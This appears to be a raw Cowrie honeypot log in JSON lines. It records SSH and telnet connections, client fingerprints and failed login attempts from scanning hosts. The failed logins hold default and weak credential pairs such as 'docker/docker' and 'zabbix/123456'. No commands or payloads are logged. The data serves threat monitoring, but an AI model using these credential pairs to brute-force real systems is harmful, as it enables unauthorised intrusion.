{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:15.542451Z","src_ip":"176.65.139.103","session":"f07b96300eaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:15.843743Z","src_ip":"176.65.139.103","session":"f07b96300eaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.224.228","src_port":19332,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c2032a5c1f2","protocol":"ssh","message":"New connection: 66.132.224.228:19332 (159.203.135.109:22) [session: 4c2032a5c1f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:16.040947Z"}
{"eventid":"cowrie.session.closed","duration":30.859699010849,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:16.133004Z","src_ip":"94.23.163.94","session":"dbbe11965bfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.303401231765747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:16.160415Z","src_ip":"5.189.169.71","session":"5c7c6f678fd0","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:16.433197Z","src_ip":"66.132.224.228","session":"4c2032a5c1f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:16.437086Z","src_ip":"66.132.224.228","session":"4c2032a5c1f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:16.955799Z","src_ip":"176.65.139.103","session":"f07b96300eaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.675840139389038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:17.116687Z","src_ip":"5.189.169.71","session":"2d6a7c16ba03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":37696,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc72bd934f55","protocol":"telnet","message":"New connection: 94.23.163.94:37696 (10.17.0.5:23) [session: cc72bd934f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:18.197080Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":54910,"dst_ip":"10.17.0.5","dst_port":23,"session":"9435eb523b5e","protocol":"telnet","message":"New connection: 5.189.169.71:54910 (10.17.0.5:23) [session: 9435eb523b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:19.655641Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":54912,"dst_ip":"10.17.0.5","dst_port":23,"session":"e42d3e9afa70","protocol":"telnet","message":"New connection: 5.189.169.71:54912 (10.17.0.5:23) [session: e42d3e9afa70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:22.155139Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":54928,"dst_ip":"10.17.0.5","dst_port":23,"session":"b79b19015999","protocol":"telnet","message":"New connection: 5.189.169.71:54928 (10.17.0.5:23) [session: b79b19015999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:22.479109Z"}
{"eventid":"cowrie.session.closed","duration":30.617424726486206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:23.065974Z","src_ip":"5.189.169.71","session":"d74ac0836ea3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.91607642173767,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:23.229322Z","src_ip":"23.254.167.244","session":"9a61d424ca32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":36770,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0459749ec21","protocol":"telnet","message":"New connection: 23.254.167.244:36770 (159.203.135.109:23) [session: e0459749ec21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:23.817765Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53670,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b8137a178ee","protocol":"ssh","message":"New connection: 176.65.139.103:53670 (10.17.0.5:22) [session: 8b8137a178ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:24.101577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:24.107274Z","src_ip":"176.65.139.103","session":"8b8137a178ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":33746,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0ffb699f3dd","protocol":"telnet","message":"New connection: 94.23.163.94:33746 (10.17.0.5:23) [session: b0ffb699f3dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:24.140062Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:24.187191Z","src_ip":"176.65.139.103","session":"8b8137a178ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.861262559890747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:24.204340Z","src_ip":"94.23.163.94","session":"68f655872ce0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:24.539875Z","src_ip":"176.65.139.103","session":"8b8137a178ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.56101679801941,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:25.065302Z","src_ip":"5.189.169.71","session":"59669b776af9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39828,"dst_ip":"159.203.135.109","dst_port":22,"session":"02c2f6da2458","protocol":"ssh","message":"New connection: 159.203.92.129:39828 (159.203.135.109:22) [session: 02c2f6da2458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:25.300519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:25.305495Z","src_ip":"159.203.92.129","session":"02c2f6da2458","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:25.311186Z","src_ip":"159.203.92.129","session":"02c2f6da2458","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"password","message":"login attempt [anna/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:25.325197Z","src_ip":"159.203.92.129","session":"02c2f6da2458","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":54944,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b3b02a7b098","protocol":"telnet","message":"New connection: 5.189.169.71:54944 (10.17.0.5:23) [session: 9b3b02a7b098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:25.384300Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:25.647989Z","src_ip":"176.65.139.103","session":"8b8137a178ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":54954,"dst_ip":"10.17.0.5","dst_port":23,"session":"d09ab2b8d659","protocol":"telnet","message":"New connection: 5.189.169.71:54954 (10.17.0.5:23) [session: d09ab2b8d659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:25.693492Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":43160,"dst_ip":"10.17.0.5","dst_port":22,"session":"d49a937b5d3b","protocol":"ssh","message":"New connection: 20.244.18.126:43160 (10.17.0.5:22) [session: d49a937b5d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:25.737945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:25.750213Z","src_ip":"20.244.18.126","session":"d49a937b5d3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:25.940424Z","src_ip":"20.244.18.126","session":"d49a937b5d3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:26.331579Z","src_ip":"159.203.92.129","session":"02c2f6da2458","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"userftp","password":"1qaz2wsx","message":"login attempt [userftp/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:26.724915Z","src_ip":"20.244.18.126","session":"d49a937b5d3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":54964,"dst_ip":"10.17.0.5","dst_port":23,"session":"b96c3133e531","protocol":"telnet","message":"New connection: 5.189.169.71:54964 (10.17.0.5:23) [session: b96c3133e531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:27.175405Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":33754,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ab958b4ba02","protocol":"telnet","message":"New connection: 94.23.163.94:33754 (10.17.0.5:23) [session: 7ab958b4ba02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:27.261586Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:27.915597Z","src_ip":"20.244.18.126","session":"d49a937b5d3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.131781339645386,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:28.048697Z","src_ip":"23.254.167.244","session":"62f3d38f1b84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.79.87.92","src_port":60507,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f395c2d807a","protocol":"telnet","message":"New connection: 181.79.87.92:60507 (10.17.0.5:23) [session: 9f395c2d807a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:29.275479Z"}
{"eventid":"cowrie.session.closed","duration":30.967304944992065,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:29.370263Z","src_ip":"5.189.169.71","session":"d2bb74f10cfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53704,"dst_ip":"10.17.0.5","dst_port":22,"session":"81ad059146f0","protocol":"ssh","message":"New connection: 176.65.139.103:53704 (10.17.0.5:22) [session: 81ad059146f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:31.560538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:31.565034Z","src_ip":"176.65.139.103","session":"81ad059146f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:31.659437Z","src_ip":"176.65.139.103","session":"81ad059146f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:32.028081Z","src_ip":"176.65.139.103","session":"81ad059146f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":54226,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc8ff7965815","protocol":"telnet","message":"New connection: 5.189.178.126:54226 (10.17.0.5:23) [session: dc8ff7965815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:32.315472Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":33756,"dst_ip":"10.17.0.5","dst_port":23,"session":"79dcc91f0dcb","protocol":"telnet","message":"New connection: 94.23.163.94:33756 (10.17.0.5:23) [session: 79dcc91f0dcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:32.582002Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:33.114083Z","src_ip":"176.65.139.103","session":"81ad059146f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.5","message":"Connection lost after 18.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:34.546765Z","src_ip":"66.132.224.228","session":"4c2032a5c1f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":46018,"dst_ip":"10.17.0.5","dst_port":23,"session":"8aa57c9ffa4d","protocol":"telnet","message":"New connection: 5.189.169.71:46018 (10.17.0.5:23) [session: 8aa57c9ffa4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:34.697067Z"}
